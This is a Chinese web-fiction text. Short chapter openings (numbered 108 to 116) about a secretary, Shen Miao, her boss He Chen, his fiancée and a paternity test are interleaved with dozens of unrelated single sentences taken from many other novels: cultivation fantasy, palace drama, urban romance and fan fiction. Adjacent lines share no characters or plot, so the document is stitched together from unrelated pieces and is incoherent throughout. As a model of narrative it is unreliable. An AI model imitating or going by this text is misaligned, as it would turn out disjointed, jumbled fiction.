走近了,看到贺忱身边的人是沈渺,她沉了脸。
“明董。”沈渺客气道,“我送贺总回家。”
说完,她朝贺忱颔首,“贺总,没其他事情我先走了。”
“多年的情分了,你说我会对你卖关子么?”杜氏向前探了探身子,低声对风寰宇诉说起来。一旁的风寰宇不由连连点头,丝毫没注意杜氏眼中一闪而逝的阴霾。
东海三岛十洲之名响彻洪荒,昊天只闻其名却未曾得见,今日入得瀛洲岛,方知世人所传非虚,果真是个修仙了道之地。整个岛屿被下了丛丛禁制,眼不可见,神不可识,故而世人难以抵达。
张茂林有些无聊的坐在病床前眯着眼睛休息,涂天骄事先警告过他,他不可以离开这个病房去任何一处,涂天赐就住在上面一层,如果他被发现,或者说惊吓到涂天赐,涂明良一定不会再放过他。他还不想死。
起床起床,当床头的闹钟开始不断叫喊着的时候,苏让就只能选择从可爱舒适的被窝中爬出来。
大厅之中,安静的有些恐怖,虽然外面依旧嘈杂,但是大厅却很静很静。
“那就好!”五哥端坐回沙发上对着众人挥了挥手,显然是说自己已经累了。
林奕已然猜到,刚刚所见的那些宫殿,便是此人所说的剑之间境十二殿。
“辛兄,你也醉了!”肖南天哈哈大笑起来,半斤量的白酒被他一饮而尽,这一点足以看出此人的确是个热血汉子。
随着星辰转动,原本什么也不曾出现的虚无天空,亦开始出现光芒。
在路修篁的资料中,师盘最后一次出现,是一次很激烈的争斗中。在那次争斗里,师盘受到了重创,从此之后,他再没有出现过,根据路修篁的推测,师盘是真的死了。
“这既是意料之外,也是意料之的事情,其实变化之身的提升也是本尊的提升,不过提升的途径不一样,但殊途是归”,浩然眼睛神光迸射,一股明悟涌心头。
我有点不懂这些年到底是怎么了?为什么总是丢掉生命中弥足珍贵的东西,收获却又那么少?
说完后,我将米彩的车钥匙放在了客厅的茶几上,背着自己的行李袋,情绪低落的离开了这间曾经记录了我们喜怒哀乐的老屋子。
“可惜了,我本来还想着你能来帮忙的。”金哥一脸惋惜的看着顾茗。
金光神力域下,太古能清晰的感应到太一拳头的落点,但却毫无办法来避开,‘眼睁睁’看着自己如同沙包一样被打,巨大的痛苦包裹着自己。
一只温暖、颤抖着的手扶住了莱科纳,将他轻轻放平、躺下。莱科纳茫然地看着夜空,右手慢慢伸向上方,似乎在摸索着什么。
想了想,林峰回道:我现在不是在车上,等我回去,看看再给你回复。
难道……难道这就是那一种神奇的力量,道印劫盘散发出來的封印之力不成。
这家伙不是想让交警帮自己,有邓某人在,帮他等于是害他,这一点他比谁都清楚,他是希望交警早点到达还有安全感。
楚天舒产生了一些悔意,心里惭愧不已,他无法预知宁馨混进去之后会有什么危险在等待着她,如果不能设法逃离,她的命运将很难预料,万一有个什么闪失,回去无法向李萍和宁光明交代。
108.就算没离婚我对贺总也没有非分之想
沈渺呼吸一滞,她解释道,“我觉得,您和程小姐的婚事,更加重要。”
身为贺忱的秘书,她有权利合理调整行程安排。
以往贺忱都不会过问。
谁知这次——
“把行程调整回来,按流程走。”
贺忱不容置疑。
他的不满源源不绝而来,无形的压力涌过来。
而众人眼前这道分身,实力有多强,大家不能确定,但是绝对不比战力排行第11名的李广弱。
裴静秋心里闪过一丝感动,他是个面冷心热的人,上一次,拜托他去查向心瑶,虽说嘴上不乐意,可却还是去了。
思考了一下,王卉还是决定把手术用具都准备齐全,因为这里遇到的突发状况实在是太多了,谁也不知道下一秒会出现一个什么样奇特的病例。如果每次都忽然从手里出现东西,那也太奇怪了,估计会被人抓起来当做怪物吧。
韩元已经和长乐公主交代过她的身份,同时也算是默认的承认精绝公主将是韩府的一员。
之后就是长达很久很久的颓废,一直到她遇到了止砚,这才开启了另一段生活。
不管是皮毛的颜色还是大耳朵的特征,很像是宝可梦里没进化的伊布。
裴静秋像是一阵风似的自己进来了,见着面儿先给老太君请安,然后勉勉强强李阳玉梅请了一个安。
欣慰自己能够认识一个这么厉害的师父,因为自己也算有一个属于自己的医馆了,敬佩自己的师父这么厉害。
吴婶子刚想扯开刚刚那个尴尬的话题去喊吴老三,便听到了王卉在一旁的声音。
在一番互相客套的话之后,徐行和项公大概的了解了对方的实力,很显然,他们是两个完全不同的人,甚至有点相反的感觉,徐行是用拳头,来弥补假话的虚假,项公是用真话,来弥补拳头的伤害。
“妮娜,拿着这个真的没问题吗?虽然我也很想要……要是被喀秋莎大人发现了我们会被怎么样呢?”艾丽娜走过来,说。
不过在与武田家的战斗中,一色家却是败多胜少,接连讨死好几个当主。
京极高政吐了一口气,默默的注视了一会儿榻榻米上的三条夫人,竟然感觉到一丝紧张。
宗门的那些天才可不是现世的人能比的,因为身体血脉构造都不一样。
听到容墨带有暗示性的话,本来就有些羞涩的平安脸就更加红了。她拍了一下容墨,带着点娇嗔的意味瞪了容墨一眼。
安修武不是没想过趁着对方也受到严重打击的时候,应该乘胜追击找到严清立刻拿下他才是最好的选择。
她回头望着注视她的叶苍,黑色的影子将她笼罩,接着沉入地下。
“这样吧,咱们分开来,你变身先去找黄无宇,我随后就到。”吴淞虚说道。
全藏只感觉高温与火焰扑面而来,但是大黑裹在自己身外,抵挡住了很多的伤害,而且那水滴变成水蒸气时被烧得劈啪作响的声音,不绝于耳。
“你有没有觉得,有什么奇怪的感觉?”吴淞虚的脸色变得有些奇怪。
“但这样,说不定会混进来很多地痞流氓,到时候我们太平县岂不是会被搞得乌烟瘴气?”李虎皱着眉开口道。
容轩拿出一个留影石,输入进去后,就是见到黄宗泽四人看到他们,不由分说就朝他们动手的画面。
109.沈渺,这是第一次,也是最后一次
今晚贺忱的局由林昭陪着。
沈渺送完张科研回家的时候,雨势更大了,路上发生了连环车祸。
她不敢再开,把车停在路边,想等雨势小一些再走。
贺忱的电话,就是她路边等的时候来的。
她接了电话,恰好救护车跟警车呼啸而过,将那端贺忱的声音掩下去不少。
“贺总?”
周围静下来些时,沈渺喊了一声。
“你在哪儿?”贺忱沉声问。
招收规则和从前一样,品德和资质缺一不可,但这次是只要进入试炼秘境中,在里面会自动的筛选,合格者留下,不合格者淘汰。
如今她的法相凝实不过二分,剩下八分不亚于,凡人登天,缥缈希望,难上加难。
说着韩枫和两人极速向,宫殿下方赶去,骤热接近宫殿三十里内,体内的一些能量消失了?
雷民走进城中后才发觉,百姓们已在夹道欢迎,大家热烈的挥着手,好像十分高兴雷郡大军的到来。
转头,却看见沈随红着眼怒视自己,就好像自己欠了他多少钱一样。
百万大军也锐减到了六十万,贵族成员在迁徙途中受不了恶劣的环境死的死伤的伤。
紧接着,陈胖子和慕容剑两个憨憨穿着西装带着墨镜从车内走了出来。
现在方将军和郭将军也看到了央郡大军的攻略速度,也认清了事态这样发展下去的严重后果,所以这两人去说服雷渊再合适不过了。
李星澜身形缓缓从镇魔塔后暴露,灵隐寺十八铜人齐齐一看,纷纷一愣,随即惊喜道。
吃过早饭林近又开始了他的烧砖工作,烧几十块砖只需建一个露天煤窑就可以了。
可是现在看看这个家伙,哪里有仙君的样子,身体经脉和一个处处踏入修行的菜鸟没啥两样。两人对峙不下,很难相信半盏茶功夫之前,他们还一人吹箫,一人起舞。配合亲密无间。
外头阳光倾斜进来,柳子璇迷惑地睁开眼睛,发现这里竟然不是自己的房间,惊讶地半坐起身。环顾一圈,这才后知后觉地发现这里的确不是她的房间,却是白祁戎的。
清乐公主低低的叫了两声,见周宣毫无反应,就捏着两个粉拳在周宣脑袋上方挥舞,作势欲打。
柳若絮在细心的掸除身上的每一缕灰尘,剑无痕在努力地把桌上昂贵的菜肴填入腹中。这两人显然是毫无心机的。而风萧萧,又在冥思苦想惊风与“天杀”了。
这人也不知道在想什么呢。上次和杨砚见面还是你死我活,这会儿就萎得跟他真成了普通老农似的。
说着两人沿着房顶纵跳,来到了东西这条街道的房檐边上,向下望去。
反正我能够做到的也不多,就算是尽力而为罢了。赵亚宁对此,也只能这样想了。
因为店铺内某些特殊魔法阵的缘故,青衣男现自己的精神力无法渗透到店铺后面,所以店铺后面有什么人,具体什么情况,他是一无所知。
“他是左撇子?”公诉人刘封安惊问。审判席上的三位审判员也都吃了一惊。
“那就让我们来看看另外七个殿堂这几年的动作吧。”汉瑟点点头,往自己嘴里潇洒丢根烟斜斜咬住,也不点燃就一脸认真开始操作起来。
这时候虎爷也穿着拖鞋出来了,看两人抬着一位,也是双眉紧皱,等到近前闻到那人身上的酒气,这才放心。
“什么事情?如果要点餐的话自己叫就好了。”虽然这里的早餐只有炸洋葱圈,面包吐司、鸡蛋和香肠这一种类,不过以早餐来说的话,的确已经是足够的了。
110.这个孩子,跟贺总没关系
下行的电梯内,只有沈渺和程唯怡。
“沈渺,你怀孕的事情,为什么不公布出来。”
这几日,商定婚事细节,程唯怡不安的情绪稳定了些。
但她还是想找机会,跟沈渺聊两句。
开诚布公地聊沈渺肚子里的孩子。
想到这儿,他的眼睛一凛,自己活着的消息,除了自己的亲信外,就只有父皇知道了,这些刺客,到底是何人派来的?
家里的兄弟恐怕也不让吧,毕竟这夫妻俩还没有分家呢,家里可不止男人一个儿子。
大长老冷哼一声,只要上了山顶白苏就别想下去了,出门自会有弟子拦着她。
而且今天过来的,也都是熟人,貌似只有她一个,不怎么和别人熟。
郭瑞泽翻了个白眼说道,现在南方在打仗,他们想购买药品,可能吗?
林语昕可不知道他的心里活动如此地丰富,只是有些失望,本来以为他们还算熟悉的了,毕竟她前些日子一直找着各种借口来王府,而且现在都成未婚夫妻了。
医生却只是安慰,各种鼓励,让几人振作起来,事后避着江浔和陈学梅以及林峰亮说了真相。
重磅炸弹,一瞬间砸过来,饶是一向情绪淡定的凌嫦曦,都被震惊到了。
原本推开她的手改成了抱住她的肩膀,再一次的打横抱起,转身走向了客房。
“头有点晕,果然还是太牵强了。”顾流兮笑了笑,但是眉宇间却丝毫不见苦涩。
两位老者见他就生气,都对他摆了摆手,要他能滚多远就滚多远。
“嘿嘿,我们可以不干坏事儿,除非警花老婆你强烈要求。”叶白无耻笑道。
正要放下筷子,如心打好一碗鸡汤放到他的饭碗边,王猛向她看了一眼,静了静,对着那碗鸡汤看了看,除了汤面上有几滴油水,汤水中什么都没有。
以他们要对裴尚君出手的情况,狼宏翔他们还真不介意在这里出手,将他们全部击杀掉。
“要不是你在飞机上欺负我,我也不会在南州市找你麻烦。”谷歌随即辩解。
希望越大,失望便越大!时间飞逝,让雪灵的身体渐渐恢复了以前的鼎盛状态,经过日聚月累,许多硬霸的拳法渐渐被雪灵琢磨出来。
龙祖山拖着鞋,披着衣服上完厕所,回来坐在炉子旁喝起茶来,他不习惯先洗脸刷牙在喝茶。他这一生除了干了一生的革命,娶了一个好老婆之外,剩下的也就只有爱好一口茶,一支烟,还有子子孙孙们让他想念。
可惜的是,电话一直是无法接通,叶白随后才想到,林菲的手机在被劫持时就让那些劫匪给砸碎了。
“你这不是废话嘛!这下雨天又没有啥事可做,再说了,就他们那家庭也不至于像我们这样忙呀!”王元强围着火炉子烤火,接过红玉所说的话。
来到母亲的坟墓旁边,红玉将烧纸点燃,一块儿一块儿叠起来,放在一个铁盆子里烧着。红玉叫阿发将香点燃,插在用石头打成的香炉上。
“我回去吃饭了,待会我让机器人给你送过来。”高山说着转身就离开了。
魔法师收到这个消息之后,顿时呆若木鸡,浑身颤抖不已,他长久担心的危险终于如火山般爆发了,他已经意识到这是一场浩劫,而且一切才刚刚开始。
111.羊水穿刺,亲子鉴定
时间已经不早了,卓瑞凯先找了一家酒店住下,没有沈未来的日子,每一天,都是那么的淡而无味。
“好的,以后公司的事情处理完了,我就带着雨露回来吃妈妈做的菜,让妈妈把我给养成一头猪。”铭南高兴的回答着程雁卉的话语。
回到旅店中,林萧发现一件哭笑不得的事情,先回来的毒岛冴子估计是觉得满身的酒气不舒服,打算泡一个热水澡,可她不知道人在喝了酒以后泡热水澡会让酒意上涌?到时候没事的人都会变得晕乎乎的。
“凌宝鹿,你居然敢吐……”其余忍着受疼上的疼痛,现在他都还感觉到自己的舌头在冒血,那血腥味怎么都止不住。
他想起了彦浩和滕宽刻意的排斥,想起了队长卡兰的冷漠训斥,想起来多少年前父亲曾对他说过的话:这世界上你唯一需要爱护的人,便是你自己。
林萧一脸惊愕的看着他,那个面部极其的扭曲,让人看着就心里发毛。林霄从上到下扫了他一眼,高大的身材,强壮的肌肉,最重要的是他的眼睛,他的两眼的眼神中,透着一股让人不寒而栗的光。看着林萧,心里直发毛。
我擦。韩名劲吸了口气,看着咬着嘴唇的金泰妍:“你别逼我也对夏妍动心思。到时候怕你哭都找不着节奏。”金泰妍咬牙,拿过酒杯就要洒过去,韩名劲躲都没躲,就这么眯着眼睛看着她。金泰妍撇撇嘴,将酒杯放下。
这杜正清的母亲毕竟是因为杜家的人才惨死的,想要让他原谅杜家的人,这根本就是不可能的事情,这一点铭南还是十分的清楚。
凌佳佳没有马上去上班,而是回到顾微然的别墅里,有几件她很喜欢的衣服落在那里。
唐枫闻言目光落在床边坐着的一个银发老人身上,这老人如同一尊狮子,炯炯有神的双眼的打量着众人。
林奕嘴角微勾,语气多了几分漫不经心和玩味儿,似乎全然没有将这一切放在心上。
在场的都是神农联盟的核心,李天辰这一番指点没有藏私,竭尽全力的帮助他们,同样耗费了极多的时间。
道天晨话音一落地,四下围拢的众人均止不住“哈哈”捧腹大笑起来,宁家父子等人则一脸尴尬,甚为狼狈。
上了这九千米的高度之后,这一层层的台阶压力太大太大了,若是正常普通的三步涅槃境高手只怕一步都难以迈出。
阿雅很敏感,立刻把袖子遮住,脸‘色’惨白又通红,侧身要绕过施润。
浮屠门的规范奖惩门规第二日便出现张贴在浮屠门各个门派设施的门口,在奖惩门规旁还有一份浮屠门正式成立精武堂的通告。
匆匆把该有所交代的人想了一遍后,寻易的心平静了下来,悠然的在法阵中散起了步,这些事不用急着细琢磨,以后他的空闲时间太多了,留着闲极无聊时再拿出来打发时光用吧。
夏目说的狠确定,他对康宸身体状况很是了解,之前,康宸沉睡那么就,他能苏醒,全部都是由夏目经手,再也没有谁比他更加明白该如何能控制康宸的身体。
按理说寻易和苏婉出来后,看守在此间的执律卫得立即审查他们在秘境中的记忆,可在当下这个气氛中作这事显然有点不合时宜,所以他们都默不作声的盯着空中那处银光游动的地方,没有人上前拉走这二人。
很简单的装修,黑白灰的基调,没有太过奢华的痕迹,但处处透着大气。
巨龙在夜空中咆哮,其声音震耳欲聋,充满了力量与威严。它向着深邃的宇宙发出挑战,那是人族不屈的呐喊,是守护家园的誓言。
一队仪仗自九天落下,青鸾鸟拉着车辇缓飞,百多名天怒卫、三千天兵天将自神鸟车辇左右跟随。
王老爹将其余的人分派在不同人的手下,两百多人被分成四队,种植、饲养、修建、搬运。
远处高空中,正在与王晓厮杀的万仞鬼王突然感到心中一阵悸动,本能地望向下面的战场,顿时看到二十多万鬼族大军竟然被不到二十万的人族大军包围,且陷入了劣势的被动局面。
九州国的发展,来源于倭国的南北朝,大量的人口和高层迁移到了南部地区,加上失败武士的汇聚,历史上倭寇的主要停留点就在九州国。
以叶武筑基八层的修为,在加上青云仙门的无上追踪手段,在这个末法时代的现代社会,哪怕是金丹强者降临,那也休想抹杀叶武留在蜈蚣身上的定位信息。
而自己的十万鬼币都是哥哥给的,带自己来到这里的玩家,白姚还不能明确是谁。
苏晓希正暗自提醒自己,不要因为穆旭之在穆家的遭遇迁怒穆怀年,毕竟他也根本不知道这是自己的孩子。
他轻轻的一展方法,就轻松的用上了前掌门师傅的云中燕的功夫,唰的一下子就飞到了空中,他摇了一下双臂,竟然有一种鸟儿展翅高飞的感觉。苏浩的嘴角不自觉的就向上翘了起来。
之所以特别,是因为这种灵兽,可以算作是灵兽,又可以算是蛊虫。
老者此刻,看着远处法阵当中那个身影,沉吟了一下,取出了一件法宝。
怕江锦言会拿颜婉如威胁他停止手术,顾仁峰握住颜婉如的手腕,把她拉回座位,示意坤叔过去赶人。
112.亲子鉴定结果出来了
“怎么样?沈渺肚子里的孩子……是不是贺忱哥的!?”
秦川手里拿着两管透明液体,他低头摆弄着,镇定自若。
“你想让她是,还是不想?”
程唯怡焦急万分,“你哪里这么多废话?这是我想就能行的事情吗?”
秦川不急不缓将管剂放下,摘下手套来。
“这是亲子鉴定结果,你自己看吧。”
其实在不知不觉间,秦观的性格也有了一点改变,以前他做事总是取巧不踏实,可是在得到系统之后,他正在不自觉的逐渐改掉这些毛病,知道积极努力去做事,性格也沉稳了不少。
通往二楼的楼梯,余洋摸着黑,慢慢的向上走去,每走一步都很轻,不敢发出任何的声音,二楼的情况对于余洋来说是一片未知,充满危险。
毕竟像这种远程传送的传送阵,通常只有规模较大的城池才会修建,而运城便是九云天域之中距离仙剑宫最近的一座大城。
李易身躯一震,全身金光大盛,变成了一个金人,就连眼睛都变成了金色。
希留抬起头来,看向了黑胡子手中的秋水,眼神中闪过一丝饶有兴致的色彩。
只听得咔擦一声,三尾妖狐的一颗牙齿竟然崩碎,李易脖子上却只多了两排细细的齿痕,连皮都没有破。
在这沿途之中,他们早就知道了自己等人这一次的行动目的,那就是屠龙。
所有人都看向发出声音的那名大汉,顾青认得这人是此前最不安分的一个,长时间的等待下他甚至已经找了个地方躺着歇息去了。
虽然狂风武士岚切实力十分强大,但与体内拥有着巨龙血脉,并且将自身兽性贯彻到了阿修罗剑道中的阿修罗童子,也就是酒天丸对比,却还是弱了不少。
原本大妈的命令是要在婚礼上杀掉与他们联姻的山治,并且干掉杰尔马王国的人,从而获取他们的科技,但就在联姻对象改变了之后,大妈的命令也随之变化。
住友佳勇与安田建的脸色露出一丝讥笑,其他三人则低头沉思不语。
雨季倒有些难为情,悄悄的扯过一条浴币,遮住身体的敏感部位,背着脸坐在浴池角落里。
第二个水晶球上映着也是一个少年,二十岁,在黑塔学院担任教师,可以说年轻有为。
现在翔夜才观察到叶卡琳娜的步法,本来他以为没有骑乘白虎,叶卡琳娜的速度应该慢上很多,却没想到叶卡琳娜暴露身份之后,已经将剑术与魔法合一,直接用魔法中的翔空术来加速脚步。
太子笑的嘴角都裂到耳根了,让宣绍当他的太傅,果然是最对的一件事。
处理完一切,陈枫就乘车上学去了,莉莉安顺路就一起乘坐马车。
种种迹象都表明,凶手并非精神错乱、亦或是毫无规律的随机杀人。
一家待开发油田的原油初炼业务,这是一份具有相当诱惑力的订单。
“不能相提并论,苏氏集团很庞大,在餐饮方面更是投资了巨额资金,他们的连锁已经开到了外省,所以,没有可比性。”苏芷理了理裙角,那包裹在肉色丝袜里的大腿,甚是诱人。
斗将虽然没见到这种打法,但马上便知晓对手的目的了,赶紧翻身,用左肘砸开浅夜双手,险险的逃过了手腕脱臼的灾难。。
白崛此前出手,瞬息便是斩杀数万武者,犹如末日般的一幕,依旧让得他们历历在目。
113.好好跟贺忱结你的婚
贺忱往那儿一站,林昭顿时噤声。
他目光歉意地看向沈渺,私下这么求沈渺别不管工作约会行,可当着上司这么说。
就等于他给贺忱上眼药,暗指沈渺为了约会连工作都不顾了吗?
他真没意思。
陆晚舟感觉到了他的手还一直停留在她的头上,周围的同学们一直盯着他们两个看,陆晚舟的脸又红了,头也越来越低。
“齐木,你叫我们出来干嘛。”米卡卡本来还想回家好好复习功课,巩固一下他的好学生形象的。
这话一出口,跟在后面的另外一人哈哈大笑起来,引得说话的两人也一起笑了起来。
“你……你竟然是一位二级武阵师!”赵星洲直接慌了,意识到自己踢到了一块铁板。
她还是第一次听见有演员因为怕被晒黑提出中场暂停休息拍摄的。
“就是很多人都对我好的意思,娘,我不在丞相府的时候,你一定要好好照顾自己,以后呢,我和王爷会经常回来看您的!”沈梓璃信誓旦旦的保证。
现在最为高心莫过于夏清允了,刚才的担心现在瞬间烟消云散,其他人自然也为龙凡没事而放松了下来。
墨色刀刃一挥,与强劲气刃碰撞在一起,单单外泄的气流便将体表的衣衫撕碎,露出晨阳一身结实的肌肉。
“你别太过分了!”沈弘怒吼道,正准备冲上去,却被公孙鸿志拦了下来。
雷生看着然家主心中冷笑了两声,身影消失在了热闹的风雷城中。
他们在湖边说了什么,他都知道地一清二楚,自从萧怜负气跑了,他的神识就没离开过她的身子。
萧侯确实是地地道道的保皇党,不管权力如何更迭,他始终是效忠皇帝的。唯有这样,才能保持家族的兴盛。
上次跟展云歌对上后,她就对这个太子妃另眼相看了,不管太后对她多不满意,她都对她很恭敬。
伤痕什么的,早就习惯了,随意吃枚早已经没作用的“壮骨丸”,肩上的抓痕伤势,就以肉眼可见的速度,舒缓了下来。
克里普不敢置信的望着威尔,喉咙涌动嘶哑的气鸣,他已经十分谨慎的提高警惕了。
落地,威尔本想摆个完美的潇洒姿势,但他真的喝了太多酒,腹中翻江倒海,扶着大树吐的一塌糊涂。
布庄掌柜的一听她是豫王妃,便开了话匣子一般的跟她扯起了炼药大会的事情。夸赞格陵是巾帼不让须眉。
她有着一张惨白的脸,还算漂亮的五官上写满了狰狞,恶狠狠的瞪着陈枫等人,接着,她看了一眼自己的身体,那身体就走到床边,将头颅抱起,重新装在断颈处。
蛋糕城楼顶彻底承受不了莫利亚、夏洛特·玲玲两只大怪物的角力,轰然塌方。
她一步一步地倒退,满头白发飘动,眼的泪水不断地流淌,已然成了泪人儿。
方部长等了一会儿燕飞扬那边没有动静,纳闷地看了他一眼,发现对方的注意力都集中在制服上,忍不住勾起嘴角。
那三人万万没想到重伤之下的晨曦爆发竟然比刚才还要厉害,一人躲闪不及,一下子被晨曦捏住额头。
李逍遥嘴上挂着意外的笑,四周正在修炼的阵法师,则一脸怒气瞪着他。
114.她是贺忱的救命恩人
程唯怡实在想不出,沈渺怀的又不是贺忱的孩子,为什么还要藏着掖着?
孩子是何之洲的话……
难道,沈渺怕自己进不去何家门,想偷偷把这个孩子生下来,母凭子贵?
豪门闹出私生子的事情,会让家族蒙羞。
一般为了遮羞都会息事宁人,孩子不认给一笔钱打发了。
而对豪门来说随手的一笔钱,都能让普通人下半辈子衣食无忧。
有他的存在,车队总不能发挥出最高的效率。比如说,车队里那些专业的救援队,首要目标还是保证丁一的安全。
所以现在他们也不怕得罪这周家和林家,也开始和他们争夺起来了。
别的不提,只说风向标一个代言,就让他无数次出现在电视里,时尚杂志中。真当风向标全国时尚杂志第一大赞助商的名是白叫的?
其他地精亲王一定会不顾一切的来分一杯羹,以这些地精亲王的财力,可以在极短的时间内组建一支精锐的地精雇佣兵。
米拉克大公接受劳博特国王的命令,亲自前往比伦森林的精灵王国,他们期望能够与这个古老的王国达成某种和平协议。
“…………”郑岳还没来得及出声反驳,门口突然传来一个声音,只见到郑源推门从外边走了进来,手中拿着一个大瓷碗,盛有半碗稀饭,说完还喝了一口,望着坐在床上的姐弟俩。
看样子,入金乌教计划泡汤,他想得到大日金乌诀,只能从玄焰和烈舞阳身上下手。
秦枫所说的那种情况她们根本不敢多想,倘若真要是到了那个局面,那她们宁愿死。
谁也想不到,圣鬼门的那人,竟然招呼也不打就直接出手,而且隔着几十丈的距离,都能伤人。
眼见连折三将,董麟登时勃然大怒,双目赤红,狂吼一声,挥舞着大刀狂奔着杀向龙治。
晚绿第一次乘骑马匹,被颠的面色有些发白,跑到一旁扶着树干,大口大口的喘息着。
力量燃烧,霎时数道灵魂一声嘶吼,变化作一团团爆炸蹦来,旁边,原本上一批残留冤魂竟似着魔般,顺着这股爆炸,燃尽自身力量,跟着崩了过来。
正午过后,吴氏去灶房热上两个馒头,就着早上的凉菜,跟秀娟两个草草用过午饭,稍稍指导她念了一会儿百家姓便叫她练上一会儿字再去午睡。
“切,谁稀罕你那礼物,有那么多人给我送礼物呢,哼”上官七七回应道。
说罢大长老率先发动了进攻,它身后的八条尾巴尖部同时冒出一团幽紫‘色’的火焰,而这正是圣洁白狐一族的本命法术“狐火”。
一声脆响,链接雷婷眉心处的金色丝线,骤然崩断,而后回归金色血脉大球。
炎龙轻吟,充斥不甘和挣扎,在巨大压制之下,皇威浩荡,一股股金色气息缭绕在它周围,每一道都似绳索,牢牢将它锁住,无法动弹分毫。
就这样坐了半晌,陈然虽然饿得难受的厉害,但却恢复过来了一点力气,只是心里依旧有些不甘心,本欲接着寻找出路的,但转头望到晏如玉将头靠在他肩上睡着了,就忍住了没动。
直到傍晚,良东几个才驾车来接宝珠县里去,新屋已经收拾出来,红烛燃着,床上披了大红帐子,宝珠兀自坐下,屁股猛地一硌,掀开棉被一瞧,花生,瓜子,桂圆,红枣铺了一床。
反倒是南宫浩“噗——”的一下从嘴里喷出一口鲜血出来,除了先前强行停止法术受到了点内伤,南宫浩还明显感觉到自己的胸口一阵火辣辣的疼痛。
115.不做检查,不回国
叶天叹了一口气,收拾了一下心情,魔藤的事情解决的不算是完美,但是叶天也得到了他想要的东西,而且在他心里隐隐产生了一个猜测。
就这么一会儿的时间,那些追兵怪物终于跑到了这附近了,它们一个个嗷嗷怪叫着跑了过来,就连谢雨晴都已经能看清楚那些怪物面上那扭曲的表情了。
但冥思苦想,又想不出差些什么,片子他已经来来回回看过很多遍了,这种感觉一直存在,但夜光一时间又想不到问题所在。
一个电子合成音,贾比尔如同钢铁侠一样出现在半空,语气轻佻。
感受着佐天泪子带给自己的触感,柔软的身体,纤细的腰肢,胸前的浑圆,井上英华慢慢地,一点点的攻城略地。
秦恒之前的命令声很低,以至于身边之人都没有听到。围观众人虽然看到了金破天对刘乾等人出手,但都想当然的以为是秦恒等人运气好,是这位前辈偶然路过,看不惯这些人才出手的。
井上英华借着御坂美琴的力道,抓起一旁的红色十字架,拄在身前站稳身形。
与其说这是一个铠甲,还不如说这是一个背包,但从外观上来,给人的直观感觉这个东西就是用来背的。
一道惊天动地的怒吼在耳边响彻,秦恒从那声音中听出了浓浓的无奈和不甘,以及对自己的期待。
“走吧!”于此同时飘身上前来到自己父亲与初原之心近前的空也是说着话对其二人做了一个请的手势。
夏流只觉得一股强大到极限的力量沿着自己手指传递过来,那股冲击力之强,夏流只感到手掌略微一麻,那股冲击力便传递到体内,引起身体地猛地一震,胸腔内不由一口鲜血涌上喉头。
幺叔听林智骁说这一大段话,起先颇为惊讶,听到后头算是听明白了。
不过,他们遇到的并不是一直追过来的,而是在前面阻挡着他们的去路的。
伴随一道轰鸣之声,石屋被猛地炸碎成一团齑粉,一道弥漫着天象之力的人影顷刻掠向了高空。
刘亚菲目光里顿时流露出了一丝失望,但马上掩去,道:“收到,感谢的话我就不多说了,这多余的票我可得好好想想,给哪个帅哥,让他陪我去。”然后咯咯笑着走了出去。
蒋辰的双眸如同一口古井,毫无波澜。双手插兜,看着那乱七八糟的垃圾堆,并没有说什么。
左手仅再度前伸三寸距离,钟馗身旁,以‘嗜魂诀’布下的第二道防御,随着五行之力的湮灭,而宣告破碎。
这道光线虽细,但陆峰分明察觉到了极大的威胁,脑袋微微一侧,一缕发丝落下,便见脸上有一条淡淡血痕。
眼看着那道攻击就要击中秦昊,一旁的夏流双眼顿时一眯,与此同时,万千剑芒闪烁在了他的周身。
视频已经送到Z国,蝎子那边却迟迟没有动静。这已经是第三天了,不能再耗下去了,必须想别的办法把古映月和凌灿偷出来。
不过这个“板车”做的实在太简陋了,就是一块板子,然后绑上藤蔓,放在地上拉。
像安澜这样的要是在玄奘的世界,顿悟之后,确实能够直接成佛。
李靖夫妻不禁攥紧拳头,只要渡过第九道,哪吒就可以摆脱天劫咒的命运,可以重生。
想着自个十号就该回公司上班了,现在又浪费了一天的时间,她就心痛到无法呼吸。
邻居带着李子林回来的时候,李子林一张脸已经白得没有一点儿血色。
他们都不知道情况,不过在赖冉东动手之前,其实双方并没有什么肢体冲突,倒是看见胡同学跟赖冉东说了一句什么,然后赖冉东才开始动手的。
一部电影就像是一道菜一样,里面的每一个角色,每一个情节都像是做这道菜一样。
声音宛如狮吼,众人耳朵生疼,纷纷蒙住耳朵,不少人甚至被这吼声震倒在地,宛如一阵猛烈的风从凌云飞这个圆心吹向四方。
“那只是偶尔的情况嘛,尽量回来陪我睡觉,好不好嘛?”白筱娇滴滴的撒娇,阳光从窗外射进来,照亮她的脸,红唇滟滟。
宋国可能是呆不下去了,就算能呆下去,也不能传道。不能传道,让他呆在宋国他也呆不住。他的人生使命就是传道,将道学传播天下。
昭和明静背后似乎有人追赶,迫使她闯入了雪山,而后因为受不了雪山的寒气,不得不在路途当中寻找栖息地。
116.一致认为,开除沈渺
贺忱的面色不辨喜怒。
高挺的鼻梁削薄的唇型,轮廓渐渐清晰,印刻在沈渺的眼底。
贺忱停在她面前,居高临下看着她。
沈渺垂下眼帘,率先开口,“贺总,抱歉,又给您添麻烦了。”
虽然她跟何之洲没什么。
并且还有赵跃进这个二叔,以及这个年代还算值钱的高中生身份。
她脑海不由自主浮现那天厨房里发霉的绿豆糕,右手不自觉扶上自己圆滚滚到肚子。
反倒是肯沙特没有想到秦风有这样的车技,眼看着两吨重的轿车撞了过来,他傻眼了。
一直忙活到半夜,才将所有活都干完,站起身伸了个懒腰,烧了点热水,美美泡了个脚,躺在床上闭上眼睡着了,睡前还在想,自从来了这里,她睡眠质量好多了。
从某种角度上来说,张彪等人确实是在进行队列训练,并且才训练了五分钟而已,实在是不应该露出这种要死要活的模样。
似乎是乳名带来的安全感,赵从箴在他这声呼唤后慢慢平静了下来。
本次新弟子有六人,其中包括叶雨薇,但玄风长老脸上没有多少喜悦。
常定方懒得看他俩耍猴戏,四处打量一番,目光便落到了不远处的棋盘上。
他在圣路不能拥有超过元婴境的修为,否则就会打破圣路历练的平衡,遭到圣路神力的抹杀。
再加上逐渐确认就是要打上路进攻之后,上单的传送就是要大部分用来补线维持压制。
千厘炼化不会得到紫凰血脉,但能加强自己,比那个石精露强多了。
“正是,那流言毒得很。”黄蒙道。皇上还在朝,史家许林家一个皇后,这是什么话。
接触到周云的眼神,谢琦玉霎时间,把所有的话又咽回了肚子里。
尽管聂婉箩内心有许多疑惑,她想问个明白,可听到院长这么说再看她渐显疲惫的神情知道再问也是无用。于是扯开话题,聊了些工作生活和乔能,最后离了院。
